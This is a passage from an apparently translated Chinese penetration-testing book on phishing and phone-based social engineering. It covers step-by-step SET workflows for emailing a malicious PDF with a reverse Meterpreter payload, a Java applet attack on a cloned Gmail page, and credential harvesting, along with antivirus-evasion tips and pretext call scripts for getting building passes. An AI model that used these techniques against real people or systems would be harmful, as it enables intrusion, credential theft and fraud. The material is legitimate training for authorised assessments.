为了示例起见,我们将坚持使用反向 Meterpreter 负载---选项 2。该负载将连接回我们,假设目标在我们定义的端口上具有出站连接。再次值得考虑典型客户端可能具有的出站访问类型,例如 TCP/80 上的 HTTP 或 TCP/443 上的 HTTPS,因为我们将在下一步定义这个。
在提示时输入您的 IP 地址和您想要监听的端口。我们将选择 TCP/443,因为它比 TCP/22(SSH)更有可能被允许出站。
在这一点上,如果你愿意,你可以选择重命名文件。再次强调,如果有必要,使其符合你的假设!
现在您应该看到 SET 大规模电子邮件屏幕,这是我们设置谁将接收我们的负载的地方。
选择选项 1---电子邮件攻击单个电子邮件地址
选择选项 2---一次性使用电子邮件模板---现在你可以输入自己的电子邮件内容。
选择选项 1---使用 GMAIL 帐户进行电子邮件攻击。
标准的 GMAIL 帐户会扫描 PDF,因此您可能会在这一点被阻止。Google Apps 商业帐户的限���较少。
现在,您将被提示输入您的 GMAIL 帐户和密码,或者如果您选择了其他 SMTP 服务器,则输入其详细信息。
邮件将被发送,现在您将被提示设置一个 Metasploit 监听器。同样,SET 将根据您为恶意 PDF 提供的详细信息为您处理这个问题!图 9.7 显示了建立监听器的过程。
图 9.7 有效载荷处理程序。
在这一点上,这是一场等待游戏。在 Metasploit 中建立会话之前,不会知道有效载荷是否通过了所有防御技术的层层审查。它看起来是什么样子?
[*] Sending stage (751104 bytes) to 10.10.200.56
[*] Meterpreter session 2 opened (10.10.200.26:443 -> 10.10.200.56:1062) at 2013-09-04 16:32:08 +0100
此时,您可以运行所有常规的后期模块,或者在需要时尝试权限提升。我可能会从"hashdump"开始,以获取用于离线破解的本地帐户哈希。然后我会使用 incognito 检查域模拟令牌。有关后期渗透工作的信息,请参阅出色的《Metasploit:渗透测试员指南》,ISBN-10:159327288X。
在这里实现相同结果的其他方法有很多。使用 Metasploit 创建有效载荷,并使用所选的邮件客户端进行传送。重要的是有效载荷能够到达目标。
这种方法真的有效吗?
所有的写作都融合了一些真实世界的观点,因为归根结底,这是一本实用指南。我们讨论的任何内容都需要起作用。长话短说,这些类型的攻击确实越来越难以执行。现在有许多不同的技术可以用来减轻电子邮件带来的威胁,人们的意识也在提高。话虽如此,我们仍然看到了相当水平的成功。这绝对仍然是一项值得的练习。我建议您查看各种编码器、打包程序和加密器,尝试绕过这些防御。一个好的起点是查看 Veil 框架。这个工具集允许创建的有效载荷通常可以绕过大多数杀毒软件解决方案,但仍与 Metasploit 兼容。查看 Christopher Truncer 的网站获取更多信息------www.christophertruncer.com/veil-a-payload-generator-to-bypass-antivirus/
。
让我们继续看看与直接发送恶意有效载荷相比的另一种选择!
恶意 Java 小程序
据我所知,Java 已经成为安全相关新闻媒体的头条新闻已经很长时间了,不幸的是,并不是因为正确的原因。它安装在全球数十亿台设备上,包括客户端工作站、服务器和基础设备。
近期注意到了几起针对 Java 软件的高调黑客攻击。微软、苹果和 Facebook 都是受害者之一。
您可以在以下链接中了解更多关于这些黑客攻击的信息:
blogs.technet.com/b/msrc/archive/2013/02/22/recent-cyberattacks.aspx
www.facebook.com/notes/facebook-security/protecting-people-on-facebook/10151249208250766
www.bbc.co.uk/news/technology-21519856
这种类型的攻击针对客户端软件,以避开周边安全系统,并且有效!
鉴于这种类型的攻击正在现实世界中进行,它们也为我们的客户提供了出色的实际评估。因此,您可能认为设置这将非常复杂,并且在短期测试中耗时太长,不切实际。实际情况完全不同。SET 为我们提供了这种易于使用的功能。它是如何工作的。
您在公共服务器上托管一个克隆或定制的网站。这可能是目标公司网站或远程访问门户的直接克隆。该网站将由 SET 嵌入一个恶意的 Java 小程序。只要用户接受 Java 小程序,此有效载荷将在任何易受攻击的系统上提供一个 Meterpreter shell。
让我们走一遍,以证明这种攻击是多么简单直接。
假设您已经打开 SET 并按照以下步骤操作:
选择选项 2------网站攻击向量
选择选项 1------Java 小程序攻击方法
选择选项 2------网站克隆器
此时将询问您是否使用 NAT 或端口转发。换句话说,您是在路由器后面还是防火墙后面?询问的原因是需要确保反向监听器设置为有效载荷中的正确 IP 地址。如果您没有正确设置这一点,您的受害者最终会连接回您的私人 IP 地址,您的有效载荷将永远无法离开目标网络。为了我们的练习,我们将选择否。
为反向连接设置一个 IP 地址。这可能是您的 Kali Linux 或 BackTrack IP 地址。
输入要克隆的网站---我选择 GMAIL 进行此练习。
此时我们被要求再次选择有效载荷。
选择选项 2------Windows Reverse_TCP Meterpreter。
选择选项 4------后门可执行文件。
选择监听器的端口------现在保持默认值,TCP/443。
此时,SET 将启动 Metasploit 并自动启动各种监听器和处理程序。现在您需要做的就是让某人点击您的链接,那么我们该如何做呢?我通常会使用一个虚假的域,并确保我的借口是可信的。也许您会冒充支持团队的成员,并要求某人验证他们的凭据是否仍然适用于 VPN 或 Outlook Web Access。
无论您选择哪种诈骗,记住您可以更改显示的文本而不是实际 URL。查看图 9.8。
图 9.8 恶意超链接。
链接owa.offensivesite.com实际上是指向192.168.1.153
的链接,在这种情况下,这是我的实验室机器。这就是悬停的重要性所在!
在 Google Apps 中,您可以通过点击链条图片的小链接图标来实现这一点。您可以在"显示文本"框中放入任何值,当您的受害者收到电子邮件时,这就是显示出来的内容。那么当您的目标浏览网站时会发生什么?查看图 9.9。
图 9.9 恶意小程序。
正如你所看到的,用户仍然需要点击运行 Java 小程序,所以我们仍然需要克服一个障碍。不过只需要一个目标不小心,你就成功了。
[*] Sending encoded stage (751134 bytes) to 192.168.1.89
[*] Meterpreter session 1 opened (192.168.1.153:443 -> 192.168.1.89:1302) at 2013-09-05 20:32:08 +0100
这种攻击的一个有用方面是,即使有效载荷没有成功,每次点击仍然会记录在 Metasploit 控制台中。从技术角度来看,系统可能看起来很安全,但用户仍然在点击恶意链接。只需要一个零日漏洞就可以危害这些系统。
现在我们已经介绍了几种在钓鱼攻击中获取 shell 的不同方法;让我们看看使用克隆网站进行凭证收集。
使用克隆的网站来收集凭证
当涉及社会工程学时,这绝对是一种受欢迎的攻击类型。没有什么比等待第一个目标开始输入用户名和密码更令人兴奋的了。最近,克隆网站用于收集凭证的做法引起了公众的关注。叙利亚电子军似乎已经将其作为首选攻击向量,并迄今已经攻击了几个知名目标。他们通常会克隆属于目标组织的 Outlook Web Access 页面,然后使用各种方式欺骗目标登录。老实说,他们的一些攻击方法至少可以说是基本的,但仍然使他们能够访问一些真正知名目标的 Twitter 账户。这实际上只是一封电子邮件中的一个链接,没有解释,没有铺垫,几乎没有可信度。电子邮件看起来可信的原因是其中许多来自同一域中已经被攻击的帐户。这只是表明,即使是来自你认识的人的电子邮件也不能信任!
这类攻击在现实世界中如此普遍,使它们成为社会工程学参与的一项极好的实践评估。
那么,我们如何克隆一个带有登录表单的网站呢?好吧,SET 再次出现了。当我向你展示这些家伙是如何简化这个过程时,你就会明白为什么这是一种如此受欢迎的攻击方式。它也不依赖于任何类型的恶意文件,这意味着你不太可能受到安全设备或软件的限制。
再次启动 SET,并选择选项 2------网站攻击向量。
接下来选择凭证窃取攻击方法------选项 3 (图 9.10)。
图 9.10 凭证窃取攻击方法------选项 3。
在这一点上,你会被要求提供你的 IP 地址和一个要克隆的网站。我们将再次选择www.gmail.com。
同样,链接必须以更有可能被点击的方式传送,比如在"恶意 Java 小程序"部分给出的好例子。
SET 控制台会在输入凭据时显示任何凭据。然后它会将受害者重定向到实际的 GMAIL 网站,并告诉他他输错了凭据。希望他们没有注意到,攻击就能悄然进行。
正如在图 9.11 中所示,Bob 的 GMAIL 密码成功被捕获。如果这种攻击针对客户的 VPN 登录门户或 Outlook Web 访问,则此攻击将更具相关性。如何处理这些凭据在很大程度上取决于参与的范围。顾问可能会现场出现并使用它们登录桌面,或者直接使用它们登录 VPN 门户。无论哪种情况,这都是一种非常有效的测试方法,可以突显出政策和程序中的弱点。希望客户能够解决这些问题。
图 9.11 捕获的凭据。
这一切真的都是社会工程吗?
当我们引入新工具进行评估时,我经常问自己的一个问题。在许多情况下,您将执行混合评估,涵盖社会工程和渗透测试。在这种情况下,我们讨论的一切肯定都符合要求。我对这个问题的感觉是,攻击者不会把一只手绑在背后然后开始入侵。他们会利用任何可以利用的工具,无论是传统的社会工程和操纵策略,还是更多偏向于黑客攻击的东西。
对我来说,这取决于您如何发送电子邮件以及您在其中包含了什么内容,它是否真正可以被归类为社会工程。您是否使用了人类影响的因素?是否涉及借口?对于这些问题的答案很有可能是肯定的,而您甚至可能意识不到。社会工程的一些元素对我们来说是非常自然的。思考"什么会促使我点击这个链接?"的思维过程通常足以产生结果,而无需过度思考。
这是一个示例,来结束本章内容(图 9.12)!
图 9.12 示例电子邮件。
这里的电子邮件显然不是真实的,但是基于客户在评估的反馈部分中展示的内容。真是有趣,有多少传统的社会工程学概念和技巧涉及到了电子邮件攻击,只是在不同的环境中和通过不同的媒介传递。这再次证明了这是另一个非常简单的钓鱼攻击的例子。毫不奇怪,链接没有指向 Facebook!
总结
在本章中,解释了钓鱼攻击的所有方面,从一些真实世界的例子开始,有些很好,有些不太好。
然后,我们转移到了使用电子邮件作为侦察工具进行情报收集的艺术。我们看了在这个简单练习中可以恢复的信息类型,以及我们如何利用它们来进行进一步的攻击。由于通常包含大量信息,因此强调了自动回复的实用性。这些信息包括进一步的内部联系信息、电子邮件签名和目标缺席的时间框架。
我们随后研究了一些关于这种情报收集的可信情景。基本上,这些是可以发送而不触发任何警报的电子邮件。
与攻击相关的话题如果没有一些防御性的想法将不完整,所以我们简要地涉及了一些在这个不断变化的领域中可能有所帮助的概念。
我们转移到了执行我们自己的攻击的话题,首先讨论了电子邮件伪造与假域名之间的区别。然后,我们看了主要的攻击类型,包括凭据收集和通过各种方式传递负载。
为了总结本章,我们来看一个典型的钓鱼电子邮件,并确定了传统社会工程学技能如何适用于其中。
接下来我们将在下一章中看一下电话攻击向量。
第十章:电话攻击向量
理查德·阿克罗伊德,随机风暴有限公司高级安全工程师
电话社会工程攻击可以用来收集关于目标公司的信息,甚至是欺骗用户执行导致其安全完全被突破的行动。这是一种流行的攻击向量,因为很少有被识别和抓住的风险。本章提供了一种实际的方法来规划将实现评估目标的呼叫,但更重要的是,识别目标政策和流程中的实际漏洞。
关键词
电话攻击;来电显示欺骗;电话系统入侵
介绍
人们或许会原谅地认为随着互联网的爆炸式发展,电话诈骗会消失,但实际情况并非如此。每天新闻媒体上仍然有这类案例,尽管可能不如电子邮件诈骗案件那么多。
事实是,自从互联网诞生以来,我们一直被灌输"互联网是个邪恶的地方"的信息,这无疑导致大多数人对上面的人更加警惕。这在某些情况下可能在一定程度上解释了为什么电话攻击仍然受到欢迎。虽然这显然没有产生预期的效果。
另一个原因可能是一个精心策划的电话攻击有多么有效。如果借口合理,电话那头的人听起来有点像人类,有些人会相信他们所说的话,无论他们是谁。
有些情况下,人们仍然会对这些电话感到惊讶。例如,银行以相当频繁的方式给他们的客户打一些极其烦人的电话是出了名的。这就是它们的方式:
银行 | "你好,是阿克罗伊德先生吗?---是 XYZ 银行欺诈部门打来的" |
---|---|
我 | "请讲" |
银行 | "阿克罗伊德先生,我们发现您账户上出现了一些异常活动,想要核实一下是否正确" |
我 | "好的" |
银行 | "您可以告诉我您地址的第一行、您的邮政编码和您的出生日期吗?" |
我 | "嗯......不行" |
银行 | "但是如果您不提供详细信息,我们将无法为您提供任何信息......" |
我 | "那就这样吧" |
在确保人们受过教育不泄露敏感数据方面有什么希望?当真正的欺诈部门打来电话,甚至还隐瞒了号码,要求提供敏感信息时,还有什么希望呢?还记得银行发来的那些电子邮件"我们绝不会通过电子邮件索取敏感信息。"这里有什么不同?为什么通过电话是可以接受的,但通过电子邮件却不可以?攻击类型的普及程度是冒险尝试的足够理由吗?这是极不可能的,每年遭受这些诈骗的成千上万的人毫无疑问会赞同。
尽管欺诈部门一再被告知,他们索取这些信息会使情况变得更糟,并使他们的客户易受骗子攻击。但他们还没有改变!
所有那些教育宣传活动和新闻媒体上的文章突然变得毫无意义,因为应该知道得更清楚的人却不知道。这是一个悲哀的现状。
事实是,需要教导人们多疑心。人们应该被鼓励对某人的身份进行质疑,如果他们无法证明自己,就挂断电话。拒绝与他们交谈是可以的。如果真的是重要的事情,就会有进一步的沟通。你总是可以寻找已知的合法联系方式并回拨电话。
电话攻击流行的另一个原因是有很多潜在的场景和拨打电话的原因。银行的例子只是一个可以很轻松地应用于社会工程学行动的想法。
毫不拖延,让我们来看看电话攻击的世界,以及这些如何在行动中使用。
真实世界的例子
凯文·米特尼克
可能是有史以来最著名的社会工程师,正如在第一章中已经提到的那样。凯文·米特尼克的职业生涯包括一些最疯狂的电话诈骗。他在 1990 年代是"世界上最受追捧的黑客"。有趣的是,米特尼克声称自己编写了第一个钓鱼程序。它是一个虚假的登录模拟器,收集用户凭证!---这与第九章中的凭证收集部分形成了有趣的对比。
就电话黑客而言,米特尼克能够获取什么样的信息呢?员工编号、地址、信用卡号、电话号码、密码------应有尽有。如果你对米特尼克的事迹感兴趣,可以看看《欺骗的艺术 》ISBN-10: 076454280X。即使对信息安全领域不感兴趣的人也会觉得这是一本真正迷人的读物。他的一些骗局突显了关于电话攻击的一个有趣观点。小细节可以成就大事。给多人打多次电话并收集微小的信息片段正是这个游戏的全部内容,前提是有时间!了解企业内部行话,或者不时地提及某个名字,这些都会为任何攻击增加可信度。这些细节的价值大于它们各自的总和。
卡取消诈骗
这是目前在英国流行的电话诈骗。它依赖于目标人群在可能未经他们允许就能提取资金的情况下感到恐慌。
基本上,这种骗局始于来自零售店的电话,一个真实的例子是伦敦的苹果商店。冒充苹果商店员工的骗子告诉受害者,有人正在商店里,试图使用看起来像是她的卡之一的卡花费大笔钱。受害者检查她的卡是否都在,发现它们都在。苹果商店员工告诉受害者,他们的卡可能已经被复制了,应该打电话给他们的银行取消卡。此时,员工说卡复制者正在从商店里跑出去,并挂断电话,但不挂断。这样即使受害者在自己那一端挂断电话,通话仍然保持活动状态。
此时,受害者试图打电话给他们的银行,但在恐慌中他们没有意识到电话没有拨号音。攻击者一直在线上。当受害者问:"嗨,这是巴克莱银行吗?",攻击者回答是,并问他们如何帮助。
受害者解释了诈骗过程,而乐于助人的银行员工告诉她,根据新的安全方案,她可以一次取消所有分配给她的卡,甚至那些不属于这家特定银行的卡。此时,攻击者正在利用受害者的恐惧。受害者实在等不及解决这个问题,于是同意取消所有卡。接下来,她被要求在电话里拨入她的密码,所有这些都被攻击者记录下来。
受害者被要求确认她的完整地址,骗子告诉她,会派遣一个安全的快递员当天取走取消的卡,并确保它们被妥善处理。如果受害者表现出任何抵抗或声称她会自己剪碎卡片,攻击者会说新卡不能发放,直到旧卡被收回。这是为了确保如果这些卡被找回,不会再受到进一步的欺诈,比如身份盗窃。
攻击者给受害者一个代码,告诉他们在快递员到达时询问快递员。如果他们没有提供正确的代码,他们应该打电话给警察。显然,"快递员"是骗子团队的一部分,并向受害者提供了正确的代码。受害者交出一个装满完全激活的信用卡的信封,攻击者知道了密码。
尽管这种骗局可能无法愚弄一些人,但确实有效。这种骗局每天可以让一些犯罪分子赚取超过 5 万英镑!这些是经验丰富的骗子团队,他们日复一日地从事这项工作。他们在电话中听起来很自然,让人完全信服。利用个人的恐惧可以引发在正常情况下可能不会出现的反应。这在社会工程方面是一种有效的技术,正如第三章中所介绍的那样。
当涉及操纵时,金钱总是一个很好的动机。当涉及到所有账户被清空生活积蓄时,人们通常无法对情况进行理性应用。
有关此诈骗的更多信息可以在BBC 新闻 网站www.bbc.co.uk/news/business-22513041
上找到。
环境声音
在拨打选定目标电话之前,应仔细考虑要使用的借口。他们通常会从什么样的环境打电话?一个旅行推销员可能会从行驶中的汽车或一个繁忙的呼叫中心的帮助台操作员那里打电话。通常需要模仿这些背景噪音,以确保任何诡计都是可信的。如何实现这一点?嗯,尽可能选择真实的事物吧?如果要让电话听起来像是从汽车打来的,那就从汽车打,只要确保安全和合法!
在无法获得真实事物的地方,需要有创造性的方法。这通常意味着招募周围的人参与情景。也可以意味着下载音频轨并在背景中播放。在这方面要小心,如果声音文件在通话中途结束,要准备好随机应变。例如,"是的,这里真的很忙,所以我搬到一个安静的房间",希望这样会奏效。最好确保在通话之前彻底检查声音道具。
想要播放一些环境噪音,为什么不查看www.freesound.org
。这里上传的所有声音都是根据知识共享许可提供的。有很多不同的背景音轨适合任何情景。办公室环境声音,游戏厅,汽车声音,应有尽有。
不过,再次提醒,在使用文件之前务必从头到尾检查,任何错误都可能代价高昂且令人尴尬!
来电显示存在的问题
来电显示是在屏幕上显示来电者的电话号码的功能。在某些系统中,如果联系人已添加到数据库中,还可以显示姓名。
这当然可以成为对抗恶意来电者的一种非常有用的防御措施,但是吗?系统中是否存在可以被社会工程师利用的弱点?使用来电显示作为认证措施是个好主意吗?
一般意见认为,单独使用来电显示作为认证方法根本不是个好主意。以下是一些原因。
来电显示欺骗
在世界某些地区,可以伪造短信和电话的来源。这些服务在英国并不常见,但在美国肯定是可用的。诸如"spoofcard"之类的服务以很小的成本提供这种功能。
在英国曾有类似的服务,比如"Spookcall"。然而,该网站在上线仅仅 5 天后就被关闭了。OFCOM 对提供的服务持负面态度,也有充分的理由。对于任何类似的事情都值得谨慎对待。仅仅因为某项服务或解决方案不是公开可用的,并不意味着它对恶意个人不可用。
电话系统的黑客攻击
我们生活在一个时代,在这个时代,大型跨国组织似乎经常遭到 compromise。组织可以分为两组:那些知道自己被黑了的和那些不知道的。好吧,这可能有点夸张,但这是一个有趣的原则。如果 RSA 或 Sony 可以被黑,那么组织是否真的认为它们不会被黑呢?即使在今天,电话系统的黑客攻击仍然很常见。这些黑客攻击的绝大多数用于骗取高昂的电话费,拨打到黑客拥有的海外号码上。这往往会在相对较短的时间内造成数以万计的英镑损失。如果是这样的话,那么使用这些黑客攻击来拨打内部号码也是可能的。这可能听起来有些牵强,但确实存在。
联系数据库是否更新?
如果接到来自员工的电话,如何进行验证呢?首先看来电显示,然后将号码与内部联系人匹配。更好的办法是,电话系统自动进行匹配,并在号码旁边显示员工的姓名。当来电号码无法匹配时会发生什么?如果是新员工怎么办?如果员工声称手机丢失、损坏或被盗了怎么办?政策和流程能否应对这些情况?新员工获得电话需要多长时间?如果被认为这是常见的需要花费几周时间,那么当一个未知来电联系时,为什么通话处理员会注意到任何可疑情况呢?
任何联系数据库的情况很可能一直落后于实际情况,并且每个通话处理员都会知道这一点。
转移来电显示
值得注意的一个有趣点是,并非所有的电话系统在呼叫转移时都会传递来电显示。在一些较旧的系统中,将呼叫转移给他人时,来电显示可能会显示转移者的信息。因此,值得尝试确认一下能够将呼叫传递给目标的总机或前台的号码。不幸的是,除非你在侦察阶段获取了有关电话系统的信息并研究了其文档,否则不可能知道实际显示了什么。让内部用户使用他们的 ID 将呼叫传递的意图是利用认证链。这就是用户的想法:"简传递了那个电话,并告诉我是鲍勃,所以肯定是鲍勃。" 你已经假设了另一个人已经对来电者进行了认证,但更有可能是他们没有!
如何确定你的来电显示
那么,有关确定目标是否拥有来电显示的情景呢?或者如果呼叫被转接给另一名员工,显示的是什么号码?在打入电话并被转接给某人后,试试这个:
我: | "嗨,我是人力资源部的鲍勃,你能帮我一个小忙吗?" |
---|---|
他们: | "当然,我能为你做什么?" |
我: | "他们正在更换我的商务手机号码,因为有骚扰电话,你能告诉我你的屏幕上显示了什么吗?我想知道它是否已经更换了" |
他们: | "当然,是 555-444-333-222" |
我: | "太好了,谢谢!" |
这是一个很好的简单示例,从目标中提取出看似完全不敏感的信息。对于受害者来说,他们所读回的只是你的号码,一切都很无害,但它可以确定来电显示是否正常工作,或者在内部转接呼叫时是否显示。
总结一下
来电显示绝对不是完全可靠的东西。系统中至少需要建立另一个认证因素。不过,需要注意的是,不要选择人们可能多年来都自由提供的信息。那些信息无法收回。选择对每个员工都是独特的,足够私密以不成为常识,但又足够开放以便电话接线员使用的东西。
在电子邮件攻击的基础上构建
在电子邮件攻击向量期间收集了大量有用的信息,其中许多可以在电话攻击阶段应用。
首先,毫无疑问,会获得几个内部分机号码,这些号码可以在办公室外使用。分机号码通常由外部可用电话号码的最后三到四位数字组成。这是假设整个电话号码没有包含在签名中的情况下,而事实几乎总是如此。
谁不在办公室,以及不在多久也是知道的。这个信息单独来说就是一条无价的情报,经常被充分利用。
外出办公回复很可能包含其他同一团队内工作人员的联系方式,在他们不在时可以联系这些人。这些人可能会毫不犹豫地提供帮助。他们可能不会想要和度假期间的同事确认任何细节。
这里有一个可以利用这一情报的示例通话。本示例将建立在"外出办公回复"一节中指出的情景上,该节位于第九章中。
我不在时请联系萨拉
当外出办公回复带回另一个联系人和他们的电话号码时,对于任何社会工程师来说都是非常有用的。很可能这个人甚至都没有被告知他们将成为缺席员工的接收者。下一步的一个很好的方法是查看目标的 Facebook 资料,看看是否可以找到他们去了哪里的信息,这种内部信息将有助于建立对缺席员工的了解和信任。
这样的电话会怎样发展?
我: | "嗨,萨拉,我是来自 zxycorp 的比尔·罗布森,上周我和罗布谈过我们一直在进行的审计工作。他告诉我你是他不在时需要联系的人?" |
---|---|
萨拉: | "嗨,比尔,是的,看起来我有幸在接下来的几周里处理罗布的工作!" |
我: | "我猜这对某些人来说没问题,他们飞往加勒比海,而我们其余的人则留在这里辛苦工作!不管怎样,罗布说你能帮我访问一些存放在他电脑上的文件。由于公司政策不允许通过电子邮件发送敏感审计数据,他不想这样做。" |
萨拉: | "是的,这些天他们不让我们发任何东西,太疯狂了。" |
我: | "告诉我吧,我得到处奔波收集这些信息。感觉就像又回到了过去。不管怎样,我这周任何时间都可以过来收集信息。罗布说你应该能登录他的电脑,我会带一枚加密的 USB 存储器,这样我们就可以安全地拿走数据,你这周有什么空闲时间吗?" |
萨拉: | "星期四下午 2 点怎么样?" |
我: | "好的,我会在前台帮你问问的,很高兴能和你交流。" |
到达时,顾问需要准备充分。首先,要穿得像样。这意味着提前到达并遵守公司着装规定。要知道正在寻找哪些文件,即使它们不存在,这也给场景增加了可信度。幸运的话,工程师会被留下来单独搜索文件,这时他们可以大展拳脚。至少,可能有机会在萨拉登录时偷看她的肩膀。最多的情况下,可能有机会留下一个持久的后门,以供进一步攻击。在完成后,尽量试图独自离开,因为可能还有其他目标可以实现。此时,顾问很可能已经有了访客徽章,因此可能会毫无挑战地通过。
你会打给谁?
选择要打电话给谁本身就是一种技能,特别是当最终需要打几个电话才能最终与他们交谈时。
在公司网站上发布的任何号码很可能是通往前台、总机甚至帮助台的通用号码。这些真的是我们想要交谈的人吗?这里有利有弊。积极的一面是,这些部门都雇佣了人,他们唯一的目的就是帮助别人。硬币的另一面是,他们很可能在以一种统一和脚本化的方式处理电话方面有很深的造诣,并且不太可能偏离标准。因此,归根结底,问题在于:必要的信息是否可以从其他地方获取?
在许多情况下,进一步研究并找到不太熟悉处理呼入电话的人并尝试转接给他们可能更有益。这样做的可能性更大,他们会想尽快摆脱打电话的人,因此更有可能泄露一些不应该泄露的东西。另外,他们不太可能接受过教育以知道电话中应该和不应该泄露什么。另一个需要注意的地方是,接听电话的人可能已经接受过培训并提供了认证外部电话的资源,而其他员工则没有。这里试图识别的脆弱性是非接听电话员工的培训不足。修复方法很简单,让所有非接听电话员工将外部电话转回总机或帮助台。
我们曾经利用过类似的情况,尽管运气极好,这也是我在进一步的工作中走上这条道路的原因。
目标是获得对一个规模较大的区域办公室的实际访问权限。
需要的是区域办事处的一个可以授权通行证并赞助访问的人的姓名和联系方式。为了避免引起警报,避免打电话给区域办事处本身。因此,逻辑的方法是联系总部的交换机。交换机的号码是在早先的侦察演习中获取的。首选选择是冒充总部站点的员工;这就是第一个电话的情况。
Them: | "嗨,xyz 公司,我是莎拉,我能帮到您什么?" |
---|---|
Us: | "嗨,我是人力资源部的鲍勃,你能帮我解答几个问题吗?" |
Them: | "当然,鲍勃,我能为你做点什么?" |
Us: | "我正和几位同事一起前往利兹办公室进行培训,但我忘记提前发邮件告知安保我要来了,我知道他们对这些事情很敏感。你能告诉我需要联系谁来安排通行证吗?" |
Them: | "对不起,鲍勃,我手头上没有那些信息" |
Us: | "噢......我想我应该做好更充分的准备!你能给我前台的电话号码吗?" |
Them: | "没问题,让我查一下......电话是 555.666.111" |
Us: | "谢谢您的时间,莎拉,您知道今天利兹前台会有谁吗?" |
Them: | "联系表上写着苏" |
Us: | "再次感谢您,莎拉,再见" |
这是一个实际的电话,虽然经过了大幅编辑和消毒以保护无辜者。这是由一位同事在车内打的电话。在这方面有一个好点要说明,当拒绝提供一项信息时,一定要有备用方案。可能是员工不知道答案,那么你的备用方案就是"您能找到知道答案的人吗? "此时,他们可能会透露另一个姓名和联系电话。然后,后续的电话可以包括点名莎拉的内容:"嗨,我刚和莎拉通话,她说你能够......"频繁的假设是莎拉已经验证了来电者。再次强调,这种技术是在滥用认证链。
下一个电话是打给区域办事处本身,这就是非通话处理程序开发的地方。打电话时,苏正在外出办事,顶替她的人对访客的协议不是很熟悉。
Them: | "下午好,xyz 公司利兹,我能为您效劳吗?" |
---|---|
Us: | "嗨,是苏吗?"(点名) |
Them: | "嗨,这是凯特,很抱歉,苏现在不在,我能帮到你吗?" |
Us: | "我相信你能够的,凯特。我们刚和雷丁办公室的莎拉交谈过,她说苏会为我们安排一些通行证,并告诉我们会议室在哪里。我们今天要进行员工意识培训" |
Them: | "我找不到任何相关信息,今天的访客记录中也没有任何内容" |
我们: | "我们的一些情况可能发生了误解!对此感到抱歉。我们将在大约 15 分钟内到达,Sue 会回来吗?她将能够处理这个问题" |
他们: | "她至少还要几个小时才能回来" |
我们: | "哦,那好吧,我们到了就会找你,然后我们可以解决通行证的问题" |
他们: | "好的,我马上就到" |
事实上,在谈话快结束时有些犹豫不决,但是因为穿着西装,看起来很专业,她被迫处理"访客"并分发了一些通行证。他们只带了一些匆忙制作的公司徽章,放在徽章套里,这些徽章是用喷墨打印机打印的,而且有信心说服其他人它们的合法性。
有时,采取非常接近的策略可以使局面直接落在他们的脚下,以查看他们的反应。在许多情况下,反应将是恐慌的。如果已知与您打交道的人经验不足或未受过良好的培训,则应施加压力以查看结果。
在第九章中,讨论了使用电子邮件进行积极情报收集的概念,以获取后来在评估中可能对我们有所帮助的情报片段。
这个概念也完全适用于电话,尽管这略微更加危险。这主要是因为与电子邮件地址相比,电话通话增加了压力。在开始打电话之前,有必要对故事进行充分排练并充满信心。尽量避免引起怀疑,并由于缺乏准备而对进一步工作产生负面影响。
在电子邮件第九章中,讨论了发送几乎可以抛弃的电子邮件的主题------这些类型的电子邮件不会引起怀疑,每天都会被企业看到。在收集信息时,同样的原则大多会被应用到我们所做的电话中。
工作查询
大多数企业将定期收到职位空缺的查询,但是这种性质的电话询问可以帮助我们进行接触吗?一项看似无害的查询是否可以提供可以用于进一步攻击的信息?看一下可以获取的信息类型,就会显而易见它可以。
首先,我们可以确定谁负责组织的招聘工作。这些信息可以用来更有效地针对攻击,例如确保恶意载荷以简历的形式发送。
如果确定第三方负责招聘,这可能被用于进一步攻击中冒充他们。例如,查看企业网站上的任何职位空缺,然后打电话假装是招聘人员。那么,为社交工程团队的一名成员安排面试如何?这至少可以让顾问进入安全控制的门,进入受限区域。同样的概念也适用于内部处理招聘的组织。值得注意的是,这完全取决于分配给该任务的时间范围。在大多数情况下,这不太可能是一个快速成功的方法。
另一个角度是发现是谁负责内部部门的潜力。例如,与招聘主管谈论 IT 角色,然后请求与负责 IT 团队的人交谈,向他们询问一些关于工作的问题。这不仅可以得到另一个内部联系人,还有与内部人士建立良好关系的潜力。这种关系可以建立起来,并在以后进一步利用。
销售电话
销售电话对任何企业来说都会成为日常事件。这意味着可以冒充销售电话而不必担心被揭穿。更好的是,撰写一个假托词,并让销售团队打电话增加真实性!销售人员是天生的社交工程师,他们每天都在这样做,为什么不利用这一技能呢?
首先,在处理 IT 或软件业务时,拨打主要帮助台,并要求与负责 IT 相关采购的人交谈。在这一点上,已经做了一些功课,这使得顾问可以直接要求与此人交谈。试着开始谈论一份关于防病毒软件的优惠,并询问他们是否打算在短期内解决这个问题。通常听到人们直接回答"我们使用麦克菲,许可证还有 2 年的有效期 ",但也会有人说他们已经有了,而且他们不感兴趣。然而,没有什么能阻止你追问更多信息,一个简单的"请问你目前使用的是哪款防病毒软件?"大多数销售人员都会尝试这样做,这样他们就可以尝试将他们的产品与内置竞争对手相提并论,所以这听起来并不突兀。在实际任务中,这些信息可以用于准备可能更有可能绕过目标防病毒软件的有效载荷。在此提供的一个实用提示是在虚拟机中安装它,然后测试各种组合,直到找到有效的方案为止。花时间做好准备总比在现场访问期间造成混乱要好。
- 那么,一个可以获取有关物理安全信息的例子呢?同样的方法在这里同样有效。打电话并询问谁负责设施管理。也许在这种情况下作为一个站点安全公司的销售人员,提供闭路电视安装、报警器维护、门禁系统和保安人员。同样,这里的目标是找出他们目前拥有什么,以及是否存在任何覆盖漏洞。再次,如果他们回答说"抱歉,我们已经有 xyz",就要求提供供应商或正在使用的系统的名称。如果他们提供了目前管理建筑物的安全公司的名称,这可能在后续的冒充尝试中使用。如果交流是长期的,可能可以制作制服和徽章。
- 调查
- 调查是那些永远不会消失的老掉牙的社会工程陈词滥调之一,但它们有效吗?想象一下接到那通电话的接收者的感受:
- | 询问者: | "嗨,你能帮我回答一些调查问题吗?" |
---|---|---|
- | 你: | "嗯,不,走开" |
-
好吧,这进展得很顺利。开玩笑的话,和大多数事情一样,关键在于问题的提出方式。问题的措辞不仅如此,假设也很重要。在上面的例子中,一个陌生人打电话询问是否愿意浪费宝贵的时间回答一些基本上毫无意义的问题。答案几乎总是不。
-
唯一让这些问题留下印象的方法是激励他们想要回答。尝试选择一个有权威的人来完成这项工作,或者一个官方职务的人,比如来自国家统计局或地方商会的人。诀窍是保持简短,可能只有四到五个问题。
-
一个很好的例子是打电话进行一项关于社交媒体在工作场所影响的调查。问题可能是这样的:
-
- 你是社交网络网站的成员吗,比如 Twitter 或 Facebook?
-
- 你大约多久使用这些网站?
-
- 你是否使用这些网站与工作之外的同事保持联系?
-
